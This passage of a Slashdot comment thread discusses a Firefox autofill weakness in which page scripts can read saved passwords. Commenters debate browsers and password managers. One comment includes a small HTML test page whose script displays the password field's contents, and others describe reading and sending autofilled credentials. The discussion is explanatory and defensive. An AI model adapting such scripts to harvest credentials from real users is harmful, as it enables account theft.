      If you had actually read even the post, or the article beyond the first sentence of the second paragraph, you would see that this is definitely not phishing: "somebody can easily create a page that steals the password as soon as the page is opened"; "it is possible to read out the [automatically] entered data via JavaScript and then submit them". No phishing involved, unless you count just getting someone to click a link as phishing, rather than, say, using the World Wide Web. The site emulates the form for the benefit of Firefox, which will happily fill in the password to be scooped up. The entire process can be totally invisible to the user (and for best effect, should be).

      --
      MediaWiki developer, Total War Center sysadmin
  51. Re:There is a patch for this by empaler · · Score: 2, Funny

    Get the Firefox patch here Godsdamnit, I know you're just trying to be funny in the same way as everyone else with their "Ultimate Windows patches", but it isn't.

    You could have gone for insightful instead of trolling by writing something along the lines of "Generally, Opera has a much better safety record (the one we know of, anyway), and I prefer the UI."

    I really like Opera, I even have it on my 3 phones and my PDA. Plus my 2 laptops, 4 stationaries, and I'm currently reading a book inspired by Opera. (Sorry, bad pun)

    Trolling, however, will only get those who see your post to have a negative association to Opera, just like many have a negative association to Gentoo...
  52. Re:I value security, so I'll stick with IE by clang_jangle · · Score: 1

    No-one loves a M$ troll. You idiots sure are busy lately...

    --
    Caveat Utilitor
  53. Loss of one password? by nickyj · · Score: 1

    Okay so I think it should be made clear in the summary, that the article states, you can only lose the password of the same domain. So if the malicious page is on MySpace, then it would only steal your MySpace password. Yes it's still a password, but most people probably don't use thier MySpace password as their credit card password, but even then they would need to phish which credit card you have and what your username is there. Not a big deal in my opinion but I'm glad that it was brought to light that this can happen.

    --
    Causing Chaos Everywhere,
    Nik J.
    The strange world of a loner, in a populous city, drowning in society
  54. Re:I value security, so I'll stick with IE by Anonymous Coward · · Score: 0

    I know what you mean.

    Once I mastered NOTEPAD I dumped MS Office.

  55. Re:Lies, damned lies by EvanED · · Score: 1

    In this case the server has already been compromised to some degree... and the only password in jeopardy is one to the very server you are connected to....

    Um, or the site doesn't do proper sandboxing of user input.

    For instance, if you get a LiveJournal paid account, you can create your own page templates. Does it let you include javascript? I don't know. It's at least not unreasonable that they would, and I bet some people would expect it. But now they have opened their users to this vulnerability, despite the LJ server not being compromised.

  56. Re:There is a patch for this by Sparks23 · · Score: 1

    Also, I'm reasonably certain enabling an automatic password fill on Opera would produce the same behavior. It's not as if Opera uses a different DOM for web-forms, or else we'll hear unending whining about how Opera doesn't work on standard Ajax sites. This isn't a code flaw in any one browser, it is a flaw in the philosophy that you can trust any Javascript code on a web page with any and all content on the same page; it's simply not accurate, because of things like Ajax xmlHttpRequest calls which allow any data on a page to be sent somewhere without even having to trick a user into some form of interaction.

    But it's the same philosophy everything is based on, because it's how advanced Javascript and Ajax and so on actually work. Any browser that supports automatically filling a login form when you hit a page will be vulnerable to this. So it seems to me that what would make more sense is to put in a hotkey to 'auto-fill login forms' and only do so when the hotkey is pressed; the problem is that browsers blindly fill auto-login forms for a site without asking the user.

    --
    --Rachel
  57. Use a different password for each site by Yahma · · Score: 2, Interesting

    Using a different password for each site is the ultimate in security; however, without a password manager of some sort, it becomes too difficult to manage such a large list of passwords. Thankfully, OSS password managers such as Revelation and Figaro Password Manager exist! Personally, I use revelation; however, both are excellent pieces of software!

    --
    Yahma
    BlastProxy - Anonymous & Secure web browsing
    ProxyStorm - Anonymous & Secure web browsing
    LiarLiar - Open Source Voice Stress Analysis & Lie Detection Software
  58. Use a password manager by Anonymous Coward · · Score: 0

    I don't trust any browser to save my login information. I use keepass. It's FOSS too.
    http://keepass.info/

  59. No! It's get rid of WINDOWS alll togerther! by Z80xxc! · · Score: 1

    This is slashdot, remember? You're supposed to say "Get rid of WINDOWS all together!"

  60. Use Passwordmaker by Bearhouse · · Score: 1

    As pointed out, noscript is your friend. Another handy plugin is passwordmaker, https://addons.mozilla.org/fr/firefox/addon/469

    Makes it trivial to have different, secure passwords for each site.

  61. Better Idea by Master+of+Transhuman · · Score: 1

    Don't store your passwords in ANY password manager, and especially do not allow Web site to "remember you." Enter your passwords every time you go to a site that needs them.

    This means using passwords you can remember, rather than truly strong random passwords, which is a security problem in itself. But with some initial judicial selection of a manual password generation algorithm, this should be doable for most people. If you have a limited set of passwords you use frequently, especially for low value applications like Web sites, and they are generated by a manual algorithm that produces half decent strength passwords, you don't need a password manager.

    Reserve your high strength passwords for your personal system, make sure they're different from anything you use externally to your system such as Web sites, and put them on an encrypted USB key or encrypted file on your system so they can't be obtained even by a hack.

    --
    Richard Steven Hack - This sig is TOO GODDAMN SHORT TO DO ANYTHING USEFUL WITH! MORONS!
  62. Safest password manager in the world by Spy+der+Mann · · Score: 1

    It's called "a notebook".

    I keep one in my safe, and whenever i forget a password, i consult it. The advantage of having the information offline is that nobody can hack it, and if someone steals your laptop, they don't get your passwords.

    Of course, it's not 100% safe, there's the possibility of someone stealing the notebook. But I'm prepared for that case. I don't put the passwords directly, but instead write some hints based on information that only I know. Like "My friend Toby's former street address", and such.

  63. Master Password Timeout 0.2.5 by alexandre · · Score: 1

    The first thing i found after the previous announce of this problem was the firefox extension that timesout the master password after let's say 30 seconds.
    Next time the browser wants to fill in a blank it ask for the master password, if you don't trust the site just press escape and nothing will happen ! :)

  64. Ah! I'm safe! by rmezzari · · Score: 1

    I don't have to worry about this exploit because for all my password-saving needs I use a fine piece of software called E-Wallet form the friendly guys at Gator, I mean, Claria.

    --
    "Emancipate yourself from mental slavery, none but ourselves can free our minds !"
  65. Re:Lies, damned lies by kat_skan · · Score: 1

    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
    "http://www.w3.org/TR/html4/strict.dtd">
    <title>P assword Test</title>
    <form method="post" id="login">
    <div>
    <input type="text" name="un">
    <input type="password" id="pw" name="pw">
    <input type="submit">
    </div>
    </form>
    <script type="text/javascript">
    var f = document.getElementById('login')
    f.onsubmit = function () { alert(document.getElementById('pw').value) }
    </script>

    This produces a message box revealing the contents of the password field when the form is submitted. It reveals passwords entered by the visitor as well as those automatically filled in by IE. The password box is not filled in until the user name has been entered. Tested in IE6SP2 and IE7.

  66. Re:There is a patch for this by fatphil · · Score: 1

    AJAX? xmlHttpRequest?

    Oh, please. It's much easier than that. These hacks have been possible using much more lo-tech techniques since scripting began.

    --
    Also FatPhil on SoylentNews, id 863
  67. Re:Lies, damned lies by kat_skan · · Score: 1

    Some further testing reveals, however, that IE will not fill the password if the resource portion of the URL differs. This is a vulnerability in only Firefox because only Firefox uses the form action to choose the password, and only Firefox does so without user intervention.

  68. Re:There is a patch for this by empaler · · Score: 1

    Actually, Opera is a little bit better than other browsers I've used on the point of password security.
    Screenshot for illustrative purposes; it gives you the option to associate the password with a unique URL instead of the entire domain. Quite handy sometimes, like for instance, if you have GMail plus a few Google Apps domains.

  69. Re: subdomains by nullchar · · Score: 1

    Subdomains won't stop other subdomains from reading the parent domain's cookies. If the parent domain is used to auth (e.g. some sesssionID), a malicious script could retrieve or send data to other subdomains. You'd have to be extra careful about isolating subdomains.

    I'm also unsure on the exact specifics of the javascript security model for subdomains.. anyone know?

  70. Where can I get a safe (but also useful) browser? by lahi · · Score: 1

    I have been using Mozilla browsers as long as they have existed. But I have never been really impressed by their safety, stability or security. At times, they may have been better than IE - but as I never have used IE, that comparison means very little to me. I am not interested in relative safety, stability or security, I want absolutes.

    Let me explain what it is that I want:

    First, usefulness. Given that pages are designed by clueless morons who suck up to each and every feature or plugin that might be available (Java, Javascript, Flash, embedded objects of of all kinds, perhaps even ActiveX?) the browser needs to handle such pages gracefully. However, such plugins, which may sometimes be closed-source blobs, should be treated with utmost suspicion, and only be allowed to run in a jaillike sandbox, with all priviledges revoked, and isolated from all other parts of the executing session.

    Second, stability. On my NetBSD system, I have a setup with mplayer-plugin, java-plugin, and seamonkey, all natively compiled. I admit that by using an obscure OS, my stability issues are partly self-inflicted, but sound defensive programming could avoid some of those problems. Why is it, that a page loading a plugin and crashing, takes down each and every window I have open? Because everything runs without isolation, that's why. If each session ran in its own OS-process, with just a shared display process, this could not happen. But that's not the worst part. Often, I find myself typing lengthy text into a textarea (like just now), and although I have Mozex installed, I still haven't gotten used to it. (There you go.) Although vi may be considered an archaic editor, it does a thing or two right. First, it is far less prone to going belly-up. Second, when it does, I have a fair chance of recovering the text I was typing. Not so with Mozilla. If I am really lucky, the Mozilla process hangs instead of exiting, and then I can use strings on /dev/mem to recover my text. If not, well, then I'm not so lucky. A safe and stable system would ensure that anything related to the configuration of the browser or entered by the user, was flushed to disk ASAP. Recently, I tried to install the NoScript plugin - I was at the same time astonished and infuriated when I got an error message which I can't remember exactly, but said something like "installation failed, this error is very likely to be transient, so please try again". Please - heed the wise words of Yoda: "Do, or do not. There is no try." I found myself with a broken plugin installation, and in order to fix it, I had to do things I'd rather not think about. A safe browser would ensure that it would be possible to undo the partial plugin installation and revert to exactly how things were before, without resorting to editing XML files by hand.

    Third, security. Why is this always an afterthought? I would like to know, record (with timestamp), and archive any exchange of information for later investigation. The only way I would be able to do so would be by making a proxy and go through that always. Why not a function of the browser? I would like to control preemtively each and every IP-address my browser wants to connect to, unless it's on a white-list. Why can't I? The default browser configuration let's me block images from a given server, but why this coarse and arbitrary resolution? Why can't I block URLs by regex? I wan't the ability to restrict beforehand through ACLs, which sites and URLs I like to see. And it goes without saying, that no session should ever be able to send my private data to the server without my approval. I want this enforced, by a provably secure design, using OS security measures to make proper guarantees: the session should run as nobody, chrooted to an empty workdir, and all requests for config and private information should go through a client-server like connection, that should be filtered, logged and audited. And of course anything stored locally should optionally be stored encrypted. Nothing unapproved would ever go on

  71. Re: subdomains by FLEB · · Score: 1

    Good point. Session-stealing is a threat, since most times an umbrella session is required across subdomains to carry the "logged-in-ness". Hadn't considered that.

    I suppose that if you isolated as many sensitive operations as possible under a specific subdomain's session-ID cookie, then use a less-secure and more general ID cookie for things like viewing others' profiles, that would dampen and contain, although not eliminate, this session-theft threat.

    --
    Information wants to be free.
    Entertainment wants to be paid.
    You just want to be cheap.